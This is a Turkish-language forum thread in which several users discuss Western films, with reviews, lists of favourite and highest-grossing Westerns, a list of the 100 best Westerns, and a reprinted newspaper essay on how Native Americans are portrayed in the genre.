    İstatistiklere bakacak olursak, zenciler ve Western’ler aynı aralıklarla Oscar kazanıyorlar. Yani 22 senede bir. Ancak gerçek hayata baktığımızda “Cimmaron”dan (1930) sonra bir Western’in Oscar kazanabilmesi ancak altmış sene sonra mümkün oldu. Kevin Costner’ın hem yönetmenliğini yapıp hem de başrolünde oynadığı “Kurtlarla Dans” Yılın En İyi Filmi seçildi. İki sene sonra Costner’ı, “Affedilmeyenler” filmiyle Clint Eastwood izledi. Bu türe verilen en büyük ödüllerden bir tanesi Gary Cooper’ın “Kahraman Şerif”deki rolü için aldığı En İyi Oyuncu ödülü ve William Goldman’ın “Butch Cassidy ve The Sundance Kid”in senaryosu için aldığı Oscar’dı. Şurası bir gerçek ki Akademi eğlenceli filmlerden ve eski konuların yeni yorumundan çok mesajlarla ilgileniyordu. Bu yüzdendir ki birer yıldız geçiti olan “Alamo” ve “Vahşi Batı”, “Çöl Aslanı” ve “El Dorado” gibi filmlere tercih edilmiştir.

    Avery Texas;
    Tex Avery’nin 1945 senesindeki Western çizgi filmi “The Shooting of Dan McGoo” unutuldu bile. Filmin ansiklopedilerde bile yeri yok. Sadece Western’lerin en büyük savunucuları sayılan Fransız eleştirmenler onu yeri göğe sığdıramadılar.

    Korkunç komik;
    Başrollerinde Marlene Dietrich ve James Stewart’ın oynadığı “Destry Rides Again”, sesli filmin ilk Western komedisi olarak kabul edilir. Bunu başkalarının izlemesi bekleniyordu çünkü her türde olduğu gibi Western’de de sürekli tekrarlanan şifreler ve mekanizmalar bulunuyordu ve taklitçiler bu öğeleri kullanmadan edemiyorlardı. Ortaya çıkan filmler ise çoğu zaman korkunç oluyordu. Belki türün kendisinde zaten espri vazgeçilmez bir unsur olduğu için, fazla abartıldığı zaman aptalca oluyordu. Sözgelimi gayet ciddi bir film olan “El Dorado”daki bazı diyaloglar parodileri aratmayacak nitelikte; “Onu vurdun mu?” – “Eh, kısmen.” – “O da ne demek?” – “Tabelayı vurdum. Tabela da onu.” – “Harika!” – “Ama kaçarken topallıyordu.” – “Kaçmadan önce de topallıyordu.”

    Kadın severse;
    Namuslu öğretmen, zararsız çiftçi karısı, altın kalpli fahişe… Bütün bunlar artık çekilmez klişeler. Ama bu türün klasiklerini böylesine değerli kılan öğelerden biri de güçlü ve çok yönlü kadın figürleri. “Destry Rides Again”de ta Marlene Dietrich ile başlayan, “Forty Guns”da Barbara Stanwyck ile ve “The Unforgiven”de Audrey Hepburn ile devam ederek “Son Mohikan”da Madeleine Stowe” ile günümüze kadar gelen bir çizgi. 40′larda bazı kadınlar hikayelerin odak noktasını oluşturuyordu. Jennifer Jones “Duel In The Sun”da, Linda Darnell (ortadaki resim) ve Joanne Dru “She Wore A Yellow Ribbon” (alttaki resim) ile “Kanlı Nehir”de (büyük resim) filmi götüren karakterlerdi. Hatta Dru filmin sonunda John Wayne ile Montgomery Clift arasındaki dövüşü, tabancasıyla durduracak kadar ileri bile gidiyordu. (Bu arada John Wayne’in Dru’ya tepkisi de Western tarihinin unutulmayanları arasına girmiştir; “Neden bu kızla evlenmiyorsun?”)

    Stewart bu sefer sert adam;
    40′ların sonunda bugün saygıyla anılan Anthony Mann, James Stewart’ın başrollerinde oynadığı ve karakterlerin alışılmışın dışında acımasız ve yalnız olduğu beş film yapmıştı. 1950′de çevirdiği “Winchester 73″ bunlardan en ünlüsüdür.

  • okaliptus80 diyor ki:


    Bir efsane adam;
    Bazıları onu ihtirasla severken bazıları da hararetle ondan nefret ediyordu. John Wayne bugün hâlâ Western’de önemli olan herşeyin temsilcisi olarak anılıyor. Öte yandan meslektaşlarına ettiği tutucu laflar yüzünden de eleştiriliyor. Wayne, Kirk Douglas’a “zayıf bir adam” olan Van Gogh’u canlandırdığı için sayıp söverken, daha sonraları da Vietnam Savaşı lehine konuşmalar yapıyordu. Filmlerinde ise insanı şaşırtacak sıklıkta kırılgan tarafını ve çaresizliğini gösteriyordu. Söz gelimi “Kahramanın Sonu” filminde sırılsıklam aşık olduğu kadına, kızdığı zaman çok güzel olduğunu söyleyerek maçoluğunun geçmişe ait bir özellik olduğunu gösteriyordu. John Wayne’in dünyası tarih oldu. Ama o dünya olmasaydı John Wayne de olmayacaktı.

    “Vahşi Belde” “Sonsuz Ölüm”e karşı;
    İkisinde de “kahramanların” sınırötesinde yaylım ateşine tutularak öldürülmelerinin dışında George Roy Hill’in “Sonsuz Ölüm”ü (Butch Cassidy and the Sundance Kid) ile Sam Peckinpah’ın “Vahşi Belde”sinin (The Wild Bunch) hiçbir ortak özelliği yok. Ulrich von Berg “A Outlaw in Hollywood” isimli kitabında; “Peckinpah’ın en tanınmış, en kötü şöhretli, hakkında en çok tartışılan filmi ‘Vahşi Belde’yle 1969′da seyirciye ve eleştirmene meydan okuması oldu” derken, Joe Hembus da “Western Lexicon”unda şunları söylüyordu; “‘Sonsuz Ölüm’ yan gelip yatıp, uykusunda gelen milyonları sayabileceği güzel ve tembel bir film.”

  • okaliptus80 diyor ki:

    Kıymalı, salçalı western;
    Amerikan Western’inin aksine İtalyan Western’i gerçekten öldü. Ancak bir zamanlar vazgeçilmez olduğu da yadsınamaz.
    Sergio Leone; “Ben bir karamsarım. Amerikan Western’lerinde kahramanlar çirkin bir biçimde arka fonda ölürler. Benim filmlerimde önde ölürler. Hem de en güzel biçimde.” Bu cümlesi Sergio Leone’nin 1964 ile 1971 arasında çevirdiği Western’leri özetliyor. Spagetti Western onunla birlikte öldü.

    Penn’in cehennemi;
    Arthur Penn 1970′de başrolünde Dustin Hoffmann’ın oynadığı “Küçük Dev Adam”ı çevirdi. 121 yaşındaki eski bir askerin hikayesini anlatan bu bazen vahşi, bazen duygusal ama her zaman fantastik film, Vahşi Batı’nın ironik tarihçesi olarak büyük başarı kazandı. “Küçük Dev Adam”, özellikle yaşlı kızılderili reisinin, başlayan yağmura rağmen huzur içinde ölmeye çalıştığı sahnesiyle sevilen filmler arasındadır.

    Kasdan’ın sinema şöleni: “Silverado”…
    Lawrence Kasdan, “Wyatt Earp”den on sene önce, yani 80′lerde, gösterişli bir film yapmaya cesaret eden sayılı yazar ve yönetmenlerden biri olarak aynı sayıda klasik ve modern öğe içeren bir Western yaptı. Seyirci fazla etkilenmedi ve Eastwood’un “Pale Rider”ını tercih etti, uluslararası basın kızgınlıktan lütufkarlığa uzanan tepkiler gösterdi. Çok az sayıda insan gerçekten çok etkilenmişti. Bugün, bir düzine denemesinden ve tek tük sanatsal başarısından sonra Kasdan’la zaman yolculuğu yapmanın ne demek olduğu anlaşıldı.

  • okaliptus80 diyor ki:

    En Çok Sevilenler;

    John Ford’un başarılı olması kimseyi şaşırtmamıştı. Herbert Achternbusch; “Bu film benim olsaydı söyleyecek başka sözüm olmazdı.”

    1. Çöl Aslanı, 1956
    2. Rio Bravo, 1958
    3. Kanlı Nehir, 1948
    4. Kanun Harici, 1946
    5. Forty Guns, 1957
    6. Affedilmeyen, 1992
    7. Johnny Guitar, 1953
    8. Sarı Kurdelalı Kız, 1949
    9. Fedailer Kervanı, 1952
    10. Pat Garret ve Billy the Kid, 1973
    11. Tek Başına, 1959
    12. Vahşi Belde, 1969
    13. Bir Zamanlar Batı’da, 1968

    En Çok Para Getirenler;

    En çok kazandıran (ve tabii kazanan) oyuncular Paul Newman, Robert Redford, Kevin Costner… ve Gene Wilder.

    1. Sonsuz Ölüm, 1969 (84 milyon dolar)
    2. Kurtlarla Dans, 1990 (82 milyon dolar)
    3. Vahşi Batı, 1974 (69 milyon dolar)
    4. Billy Jack, 1971 (47 milyon dolar)
    5. Duel In The Sun, 1946 (46 milyon dolar)
    6. Atlı Araba, 1923 (45 milyon dolar)
    7. Affedilmeyenler, 1992 (44 milyon dolar)
    8. The Trial of Billy Jack, 1974 (43 milyon dolar)
    9. Vahşi Batı, 1962 (36 milyon dolar)
    10. Son Mohikan, 1992 (35 milyon dolar)
    11. Jeremiah Johnson, 1973 (31 milyon dolar)
    12. Küçük Dev Adam, 1970 (27 milyon dolar)
    13. Rüzgar Batı İstikametinde, 1969 (26 milyon dolar)

    (Yazılar, yeşilçam.gen.tr adresinden alınmıştır.)

  • okaliptus80 diyor ki:

    William Wyler’ın ünlü ‘The Big Country’ {Büyük Ülke – 1958} adlı çalışması yarın Trt 1 western kuşağında olacak. Gregory Peck, Charlton Heston gibi oyuncular var kadroda. Türü sevenlere öneriyorum.

    En son Charles Bronsonlu ‘Breakheart Pass’ {Kırık Kalpler Geçidi} filmini izlemiştim bu kuşakta. Bir tutuklu rolündeydi Bronson ve gerçek hayattaki eşi Jill Ireland ile paylaşmıştı başrolü. Büyük bölümü tren içerisinde geçen film, durgun havasıyla alışkın olduğumuz o hareketli westernlerden biraz uzaktı.

    Yine aynı ikiliyi gördüğümüz ‘From Noon Till Three’ {Öğleden Üçe Kadar} adlı “romantik” western ise geçen hafta gösterilmiş.

  • Rashomon diyor ki:

    ‘Stagecoach’ {Posta Arabası – 1939} / John Ford

    Küçük bir posta arabası ile bir kasabadan diğerine gitmek üzere yola çıkan bir grup insan. Farklı kesimlerden gelen insanlar; bir kanun kaçağı, bir bar kadını, bir alkolik doktor, bir kumarbaz, bir viski satıcısı, hamile bir kız ve bir şerif. Farklı katmanlardan gelmelerine rağmen, ortak bir tehlikeye maruz kaldıklarında (kızılderili saldırısı) mecburen aynı kaderi paylaşıyorlar.

    Film, kullanılan teknikler (kamera açıları, ışık ve gölge kullanımı) ve anlatım yönüyle sinema tarihinin en iyilerinden birisidir.
    Bunun yanında John Wayne’ i sınıf atlatıp bir yıldıza dönüştürmüştür (ki bu filmden önce B – sınıfı diye sınıflandırılan filmlerde oynamaktadır).

  • oscar1895 diyor ki:

    ‘Topo, El’ / Alejandro Jodorowsky – 1970

    Bilimkurgu sinemasında 2001 a Space Odyssey ne ise, western sinemasında da El Topo odur. Film sadece anlatım biçimiyle değil, ele aldığı konu(lar) bakımından da diğer westernlerden apayrı bir yerde duruyor. Hayatın anlamını ararız film boyunca, tıpkı bir köstebeğin hayatı boyunca güneşi görmek için yeri kazdığı gibi. Film boyunca karşılaştığımız cüceler, eşcinseller, yoldan çıkaran kadınlar, kan, şiddet, erotizm gibi öğelerle sıradanlığın çok ötesinde; farklı okumalara açık dini referasları da arkasına alan her sinemaseverin muhakkak gömesi gereken bir western.

  • oscar1895 diyor ki:

    ‘My Darling Clementine’ {Sevgili Clementine} / John Ford – 1946

    Stuart Lake’ın ”Wyatt Earp, Frontier Marshall” adlı kitabından uyarladığı senaryodan harikulade bir western örneği kotarmış John Ford. Tombstone adındaki garip bir kasabadan geçerken dinlenip traş olmaya ve birkaç bira içmeye karar veren -eski silahşör- sığır satıcısı Wyatt Earp (Henry Fonda), kardeşi James(Don Garner)’in kimliği belirsiz kişi(ler) tarafından öldürülmesi ve sığırların çalınması üzerine kasaba halkının teklifini geri çevirmeyip kasabanın şerifi olmaya karar verir. Wyatt ‘batı’yı değiştirebileceğine inanmaktadır. Ne var ki bu kasabada kalıp şerif olmayı kabul etmesinin sebebi bu değildir. Esas amacı kardeşinin katilini bulup, sonra yoluna devam etmektir.

    Oldukça ilginç bir kasabadır Tombstone. Yeni yeni bir yerleşim merkezi haline gelmektedir. Öyle ki kasabanın bir klisesi bile yoktur.-Filmin akışında her ne kadar bir vaizi olmasa da üstü açık bir kilise inşa edilecek hatta şerif ve güzeller güzeli Clementine (Cathy Downs) açılışta dans bile edecektir.- Haliyle kasabada belirli bir düzen de yoktur.

    Wyatt oldukça soğukkanlı biraz da utangaç bir yapıya sahiptir. Kasabada kanunları yerine getirmek için kaba kuvetten ziyade, zekasını kullanır. Nitekim filmin başlarında içki bağımlısı ve neredeyse bütün vahşi batıya korku ve dehşet saçmış Doc Holliday (Victor Mature) ve Wyatt karşılaştıklarında, filmin kötü adamının Doc olacağını düşünmeye başlıyoruz. Wyatt’ın zekasını kullanıp onunla düşman olmak yerine tatlı-bazen de sivri- diliyle kendine dost edinmesi, hem seyirci için hem de kasabanın içten pazarlıklı ve düzenbaz Clanton ailesi için oldukça şaşırtıcı oluyor. Sonrasında Doc’un aslında göründüğü gibi biri olmadığını, özellikle de Clementine’in filme dahil olmasıyla beraber yumuşak kalpli bir kişiliğe sahip olduğunu anlıyoruz, her ne kadar bu kişliğinin önüne bir perde çekip sert imajını korumaya çalışsa da…Yer yer Doc’ın filmde daha fazla ön plana çıktığını bile söylemek mümkün.

    Söylentilere göre Ford ilk sessiz westerlerini çekerken Wyatt Earp de zaman zaman sete uğrar ve figüranlarla kafayı çekermiş. OK Corral’daki düelloya dair Earp’ün anlattıkları Ford’un bu filmi çekerken en büyük ilham kaynağı olmuş. Filmdeki oyuncuların -özellikle de Doc Holliday’e hayat veren Victor Mature- unutulmaz performanslarının yanısıra, harikulade kamera çalışması ve dillere destan düello sahnesi bu klasik westerni unutulmazlar arasına koyuyor.

    Filmden unutulmaz bir diyalog:
    Doc Holliday – Burada uzun süre mi kalmayı düşünüyorsun?
    Wyatt Earp – Biraz.
    Doc Holliday – Kardeşini vuran hırsızları bulana kadar mı?
    Wyatt Earp – Genel düşünce bu.
    Doc Holliday – Peki ya özel düşünce?
    Wyatt Earp – Ne demek istediğini anlamadım.
    Doc Holliday – Burayı tüm kanunsuzlardan arındırabileceğini mi sanıyorsun?
    Wyatt Earp – Tam olarak öyle düşünmemiştim ama fena fikir değil.Sonuçta bunun için para alıyorum.

  • okaliptus80 diyor ki:

    ‘Compañeros’ {Yoldaşlar} / Sergio Corbucci – 1970

    Tıpkı sevgili Oscar’ın verdiği El Topo örneği gibi bu da değişik bir yer parselliyor denebilir janr içerisinde. “Politik” hassasiyetleri kullanan bir spagetti western ile karşı karşıyayız. Yönetmen Sergio Corbucci, uyrukdaşı Leone’nin bayrağını başarıyla devralmış. (Jean-Louis Trintignant ve Klaus Kinskili ‘Grande silenzio, Il’ bir diğer izlediğim çalışması. Ondan da bahsederiz ileride.)

    Companeros, Meksika devrimi yıllarında geçer. Professor Xantos adlı halim selim bir düşünce adamının liderliğini yaptığı devrimci (Zapatist) “gerilla” örgütlenmesinin, baskıcı subaylar idaresine yönelik ayaklanma ve mücadelesi konu edinilir. Yodlaf Peterson adlı İsveçli ila bir yerli olan El Vasco, grubun -birbirleri ile pek anlaşamayan- en yaman cengaverleri. Filmde Meksika devriminin önündeki en büyük setlerden bir tanesi devrimcilerin kendi içlerinde birlik olamaması, bir diğeri ise Amerika olarak gösteriliyor. Baştaki faşist yönetime dışarıdan yardımlar yapıldığını görüyoruz.

    Oldukça matrak, yer yer abartı dozajı yüksek bir film Companeros. (Tek kollu adamın havada iz sürebilen hafiye kuşu…) Tempo hiç düşmüyor. Spagetti western sevenler tatmin olacaklardır.

  • okaliptus80 diyor ki:

    1. High Noon – (1952) (Gary Cooper, Grace Kelly, Lloyd Bridges)
    2. The Treasure of the Sierra Madre – (1948) (Humphrey Bogart, Walter Huston)
    3. Shane – (1953) (Alan Ladd, Jean Arthur, Van Heflin)
    4. The Magnificent Seven – (1960) (Yul Brynner, Steve McQueen, Charles Bronson)
    5. Virginia City – (1940) (Errol Flynn, Randolph Scott, Miriam Hopkins)
    6. Butch Cassidy and the Sundance Kid – (1969) (Paul Newman, Robert Redford)
    7. The Wild Bunch – (1969) (William Holden, Ernest Borgnine)
    8. Stagecoach – (1939) (John Wayne, Claire Trevor, John Carradine)
    9. The Shootist – (1976) (John Wayne, Lauren Bacall, James Stewart)
    10. The Good, the Bad, and the Ugly – (1966) (Clint Eastwood, Lee Van Cleef, Eli Wallach)
    11. The Searchers – (1956) (John Wayne, Jeffrey Hunter)
    12. Rio Grande – (1950) (John Wayne, Maureen O’Hara)
    13. A Man Called Horse – (1970 (Richard Harris, Judith Anderson)
    14. The Outlaw Josey Wales – (1976) (Clint Eastwood, Sondra Locke)
    15. Little Big Man – (1970) (Dustin Hoffman, Faye Dunaway, Chief Dan George)
    16. The Man Who Shot Liberty Valance – (1962) (John Wayne, James Stewart, Vera Miles)
    17. Unforgiven – (1992) (Clint Eastwood, Gene Hackman, Morgan Freeman)
    18. Once Upon a Time in the West – (1969 (Henry Fonda, Charles Bronson)
    19. Dances with Wolves – (1990) (Kevin Costner, Mary McDonnell, Graham Greene)
    20. High Plains Drifter – (1973) (Clint Eastwood, Verna Bloom)
    21. Red River – (1948) (John Wayne, Montgomery Clift , Joanne Dru)
    22. The Ox-Bow Incident – (1943) (Henry Fonda, Dana Andrews, Anthony Quinn)
    23. True Grit – (1969) (John Wayne, Glen Campbell, Kim Darby)
    24. Silverado – (1985) (Kevin Kline, Scott Glenn, Danny Glover, Kevin Costner)
    25. Santa Fe Trail – (1940) (Errol Flynn, Ronald Reagan, Olivia de Havilland)
    26. The Misfits – (1961) (Clark Gable, Marilyn Monroe, Montgomery Clift)
    27. Hondo – (1953) (John Wayne, Geraldine Page)
    28. Fort Apache – (1948) (John Wayne, Henry Fonda, Shirley Temple)
    29. How the West Was Won – (1962) (Henry Fonda, James Stewart, John Wayne)
    30. The Sons of Katie Elder – (1965) (John Wayne, Dean Martin, George Kennedy)
    31. Tombstone – (1993) (Kurt Russell, Val Kilmer)
    32. McLintock! – (1963) (John Wayne, Maureen O’Hara)
    33. The Long Riders – (1980) (Stacy Keach, Dennis Quaid)
    34. The Alamo – (1960) (John Wayne, Richard Widmark, Laurence Harvey)
    35. My Darling Clementine – (1946) (Henry Fonda, Linda Darnell, Victor Mature)
    36. The Great Northfield, Minnesota Raid – (1972) (Cliff Robertson, Robert Duvall)
    37. Wyatt Earp – (1994) (Kevin Costner, Dennis Quaid, Gene Hackman)
    38. Destry Rides Again – (1939) (James Stewart, Marlene Dietrich)
    39. The Outlaw – (1943) (Jane Russell, Jack Buetel, Walter Huston)
    40. Ride the High Country – (1962) (Randolph Scott, Joel McCrea, Mariette Hartley)
    41. Duel in the Sun – 1946) (Gregory Peck, Joseph Cotten, Jennifer Jones)
    42. The Professionals – (1966) (Burt Lancaster, Lee Marvin, Robert Ryan)
    43. They Died With Their Boots On – (1941) (Errol Flynn, Olivia de Havilland, Anthony Quinn)
    44. Dodge City – (1939) (Errol Flynn, Olivia de Havilland, Ann Sheridan)
    45. Johnny Guitar – (1954) (Joan Crawford, Sterling Hayden, Ward Bond)
    46. Rio Lobo – (1970) (John Wayne, Jennifer O’Neill)
    47. The Cowboys – (1972) (John Wayne, Roscoe Lee Browne, Bruce Dern)
    48. McCabe and Mrs. Miller – (1971) (Warren Beatty, Julie Christie)
    49. The Gunfighter – (1950) (Gregory Peck, Helen Westcott)
    50. Gunfight at the O.K. Corral – (1957) (Burt Lancaster, Kirk Douglas)
    51. Will Penny – (1968) (Charlton Heston, Joan Hackett, Donald Pleasence)
    52. Tall in the Saddle – (1944) (John Wayne, Ella Raines, Ward Bond)
    53. The Sacketts – (1979) (Tom Selleck, Sam Elliott)
    54. Vera Cruz – (1954) (Gary Cooper, Burt Lancaster, Charles Bronson)
    55. Hombre – (1967) (Paul Newman, Fredric March, Richard Boone)
    56. The Culpepper Cattle Co. – (1972) (Gary Grimes, Luke Askew)
    57. A Fistful of Dollars – (1964) (Clint Eastwood, Marianne Koch)
    58. Billy the Kid – (1941) (Robert Taylor, Brian Donlevy)
    59. The Big Country – (1958) (Gregory Peck, Jean Simmons, Charlton Heston)
    60. Nevada Smith – (1966) (Steve McQueen, Karl Malden, Brian Keith)
    61. For a Few Dollars More – (1965) (Clint Eastwood, Lee Van Cleef)
    62. Lonely Are the Brave – (1962) (Kirk Douglas, Gena Rowlands, Walter Matthau)
    63. Bad Day at Black Rock – (1955) (Spencer Tracy, Robert Ryan)
    64. Hannie Caulder – (1972) (Raquel Welch, Robert Culp)
    65. The Man From Laramie – (1955) (James Stew, Arthur Kennedy, Donald Crisp)
    66. Broken Arrow – (1950) (James Stewart, Jeff Chandler, Debra Paget)
    67. The Quick and the Dead – (1995) (Gene Hackman, Russell Crowe, Sharon Stone)
    68. My Darling Clementine – (1946) (Henry Fonda, Linda Darnell, Victor Mature)
    69. Major Dundee – (1965) (Charlton Heston, Richard Harris, James Coburn)
    70. Maverick – (1994) (Mel Gibson, James Garner, Jodie Foster)
    71. El Dorado – (1966) (John Wayne, Robert Mitchum, James Caan)
    72. Villa Rides – (1968) (Yul Brynner, Robert Mitchum, Charles Bronson)
    73. Pony Express – (1953) (Charlton Heston, Rhonda Fleming, Jan Sterling)
    74. Barbarosa – (1982) (Willie Nelson, Gary Busey, Isela Vega)
    75. Northwest Passage – (1940) (Spencer Tracy, Robert Young, Walter Brennan)
    76. Jesse James – (1939) (Tyrone Power, Henry Fonda, Randolph Scott)
    77. Rio Bravo – (1959) (John Wayne, Dean Martin, Ricky Nelson)
    78. Ten Wanted Men – (1955) (Randolph Scott, Richard Boone, Jocelyn Brando)
    79. The White Buffalo – (1977) (Charles Bronson, Jack Warden, Will Sampson)
    80. She Wore a Yellow Ribbon – (1949) (John Wayne, Joanne Dru, John Agar)
    81. Young Guns – (1988) (Emilio Estevez, Kiefer Southerland)
    82. The Plainsman – (1936) (Gary Cooper, Jean Arthur, James Ellison)
    83. Open Range – (2003) (Kevin Costner, Robert Duvall, Annette Bening)
    84. Chato’s Land – (1972) (Charles Bronson, Jack Palance, Richard Basehart)
    85. The Big Sky – (1952) (Kirk Douglas, Dewey Martin, Elizabeth Threatt)
    86. Pat Garrett and Billy the Kid – (1973) (James Coburn, Kris Kristofferson , Bob Dylan)
    87. Cheyenne Autumn – (1964) (Richard Widmark, Carroll Baker, Karl Malden)
    88. The Glory Guys – (1965) (Tom Tryon, Harve Presnell, James Caan, Senta Berger)
    89. The Far Country – (1954) (James Stewart, Ruth Roman, Harry Morgan)
    90. Death Rides a Horse – (1969) (Lee Van Cleef, John Phillip Law, Anthony Dawson)
    91. Posse – (1993) (Mario Van Peebles, Stephen Baldwin, Billy Zane)
    92. Big Jake – (1971) (John Wayne, Richard Boone, Patrick Wayne)
    93. The Naked Spur – (1953) (James Stewart, Janet Leigh, Robert Ryan)
    94. The Missing – (2003) (Tommy Lee Jones, Cate Blanchett, Val Kilmer)
    95. Diamante Lobo – (1976) (Jack Palance, Lee Van Cleef, Richard Boon)
    96. Cimarron – (1931) (Richard Dix, Irene Dunne, Estelle Taylor)
    97. Annie Oakley – (1935) (Barbara Stanwyck, Preston Foster, Melvyn Douglas)
    98. The Ballad of Little Jo – (1993) (Suzy @mis, Bo Hopkins, Ian McKellen)
    99. Dead Man – (1995) (Johnny Depp, Crispin Glover, John Hurt)
    100. The Great Silence – (1968) (Klaus Kinski, Jean-Louis Trintignant)
    ____

    “En İyi 100 Western” başlığı altında, gecce.org sitesindeki bir katılımcının yapmış olduğu iyi bir seçki.

  • okaliptus80 diyor ki:

    17. sırada Unforgiven’i görmüşken (ki Eastwood’un Oscarlı bu westerni için janrın “son” başyapıtı yollu ifadeler kullanılır.) aynı adlı 1960 yapımı John Huston filmini de eklememek olmaz. Burt Lancaster ve Audrey Hepburnlu bu klasiği Business Channel sık sık yayınlıyor bugünlerde.

  • okaliptus80 diyor ki:

    93. sıradaki ‘The Naked Spur’u bundan üç dört ay kadar önce Olay Tv. adlı Bursa kanalında yakalamıştım. Kızılderili / beyaz adam mücadelesi işleniyordu azıcık takip edebildiğim kadarıyla. James Stewart, yanında Psycho’nun ünlü sarışını Janet Leigh, ve soluk benizlileri tek kurşunla birer birer indiren yaşlı ve yaman bir silahşör, kanyon boyunca ilerliyorlardı. Nehir sahnesinde bırakmak zorunda kalmıştım.
    Anthony Mann imiş yönetmeni. Rejisörün, ‘Winchester ’73′ adında oldukça merak ettiğim bir western çalışması var.

  • okaliptus80 diyor ki:

    “Bir yaz akşamı Boğaz’ın ortasında
    Kız Kulesi’nin beyaz duvarlarında
    Kızılderililer’in vahşi olarak gösterildiği
    Bir kovboy filmi izlediğinizi düşleyin.

    Özgürlüğün merkezi ey büyük Amerika!
    Anıtı vardır, elinde meşalesi yanar.
    Kardeşim Geronimo göz yaşlarıyla
    Şimdi özgürlük anıtının altında yatar.” (Sunay Akın)

    xXx

    ‘Kız Kulesi’ndeki Kızılderili’ kitabında böyle söylüyordu Sunay Akın.

    ‘A Man Called Horse’ {At Denilen Adam} / Elliot Silverstein – 1970

    Western sinemasında o güne kadar ekseri tu kaka olarak gösterilen, kaba ve vahşi olarak çizilen kızılderili imajını ters yüz eden bir film. Kızılderili yanlısı da denebilir.
    Richard Harris’in İngiliz aristokrat John Morgan rolüyle parladığı güzel bir western klasiği. (Devam filmleri de çekildi ancak aynı kalitede değildi.) İngiliz aristokrat Morgan, Amerika gezisi esnasında soluk benizliler tarafından tutsak alınır. Soylu karakterimizin esaret içerisinde geçen zoraki kabilelik günleri, Kızılderili rituellerinin ve hayat tarzlarının gözler önüne serileceği bir seyirlik sunar izleyiciye.
    İzlenesi bir western.

  • okaliptus80 diyor ki:

    Hazır son iki mesajda kızılderililerden bahsediyorken güzel bir metni aktarmanın tam sırası;
    ____

    “Hep Beyaz Adam Kazanır!”

    Western türünün ilk klasiği ‘Stagecoach’ {Posta Arabası}, kendi içinde sınıfsal farklara dikkat çekerken Kızılderili’yi dışlamayı ihmal etmiyordu.

    Siyah-beyaz TRT döneminden bir pazar sabahı fırlamış gibiydi sanki ‘Stagecoach’. O kuşakta gösterilmemişse bile en azından o sevecen sinema zamanlarına ait gibi duruyordu. Kendimiz çocuk, aklımız çocuktu. ABD’yi “bizimkiler” sanıyorduk. Kötü adamdı Meksikalılar ve en çok da Kızılderililer. Amerikalı gibi beyazdık ve kahrolsundu Apaçiler, dost olmazdı onlardan. Azdılar, farklıydılar, gariptiler. Yıllar geçtikçe ve en kötü adamların en beyazlar olduğunu öğrendikçe kovboy filmi keyfimizin de içine edilecekti.

    Yine de John Ford Klasik Western’in başlangıcı kabul edilen ‘Posta Arabası’nda Kızılderili sendromunu yinelemekle beraber beyaz adamı da ucundan kıyısından çekiştiriyordu. ABD bir posta arabasıydı, iyisiyle kötüsüyle sallana yuvarlana varıyordu işte son durağa.

    ‘Stagecoach’, Ernest Haycox’un 1919′da yazdığı ortalama bir romandan uyarlandı. Son derece basit bir hikayeye dayanan film, Kızılderili tehditi altında bir kasabadan diğerine yolcu taşıyan bir posta arabasını konu alıyordu. Biri soylu diğeri alt sınıftan iki kadın, kasabadan sürülmüş alkolik bir doktor, sahtekar bir banker, bir kumarbazın yolculuk ettiği arabaya yolda Ringo Kid adında bir de kanun kaçağı katılır. Konakladıkları iki yerde paçayı sıyıran ekip sonunda Kızılderililer’le çarpışmak zorunda kalacaktır.

    Posta Arabası, muhafazakar ABD’nin ahlak anlayışını da gözler önüne koyar. Kasaba hayatı asil olmayanı dışlar. “Düşman”a (Kızılderililer) karşı koymanın tek yolu ise sınıf farkı gözetmeksizin birlik olmaktır. Böylelikle filmin finalinde olduğu gibi sınıflar arası çatışma yumuşar (asla yok olmaz).

    1939 yapımı Posta Arabası en iyi müzik ve en iyi yardımcı oyuncu dallarında 2 Oscar kazanırken John Wayne’i de bir Hollywood yıldızı yapmıştır. Wayne, hiç kuşku yok kahramanlık müessesine yaptığı bu ilk büyük katkıyla kendisinden sonra gelen pek çok aktörü bu konuda etkileyecektir.

    Yıllar sonra Kevin Costner, “Kurtlarla Dans” edecek, Kızılderili soykırımı için özürler dileyecek ve ABD bu kez de gişe hasılatıyla, Oscar heykelcikleriyle kazanacaktır. Western Sineması’nı bize sevdirirken ezilip horlanan her Apaçi, aslında bu filmlerin tek kahramanıdır!

    (Barış Bardakçı – Akşam)

  • okaliptus80 diyor ki:

    Calamity Jane, western sinemasının defalarca ele aldığı bir figür. Altına hücum dönemlerinin haşin kadın silahşörü… Beyazperdede güzel yüzlü Doris Day’imiz ile tanımıştık kendisini. Kurşunları cömertçe yağdırırken bol bol da asker kamuflajları altında dans eden/şarkı söyleyen şeker bir Calamity idi bu. Daha sonraki yıllarda John Huston’un kızı Anjelica Huston dahi oynamıştı rolü. (1995′te gelen “Buffalo Girls”.)
    En son James Goldstone imzalı 1986 yapımı bir “Calamity Jane” daha izledim. Bu defaki aktris Jane Alexander. Açıkçası bana en zayıf western uyarlaması gibi geldi. Vahşi Bill (Bill Hickok) ile yaşadığı ilişkiye odaklanılmış salt.

  • kadir503 diyor ki:

    ‘Ride the High Country’ {1962} / Sam Peckinpah

    Western-şiddet ustası Peckinpah’tan biraz maceraperest ve aşk üzerine bir western. Yönetmenin diğer filmleri kadar sert ve kadına kötü bakmasa da yine de ana hatlarıyla tam bir Peckinpah filmi. Özellikle finaldeki geniş açılı çatışma sahnesi oldukça iyi. Büyük beklentiye girilmeden izlendiğinde, keyifle izlenecek bir film…

  • kadir503 diyor ki:

    ‘Appaloosa’ {Kanun Benim – 2008} / Ed Harris

    Son yıllardaki iyice kısırlaşan western sineması için, bulunmaz bir nimet Ed Harris’in filmi. Geçmişteki westernlerle karşılaştırdığımızda zayıf kalsa da şimdiki westernlerle karşılaştırdığımızdaysa oldukça iyi görünüyor. Bu da herhalde western sinemasının geldiği son noktayım açıklıyor gibi.

    Düzensiz kasabaya düzen ve huzur getirmek için kontrolü eline alan Virgil ile Hitch’in; kanun aykırısı çiftçi Randall ile girdikleri mücadeleyi konu edinen film; aynı zamanda kanun sorgulaması ve manevi değerler üzerine de birçok şey söylüyor.

    Ed Harris’in ikinci yönetmenlik denemesi olan “Appaloosa”; türünden ayrı tutarsak da bu yılın izlenesi filmleri arasında yer alıyor.

  • November76 diyor ki:

    ‘Goin’ South’ {Güneye Yolculuk- 1978} / Jack Nicholson

    Eğlenceli bir western filmi…

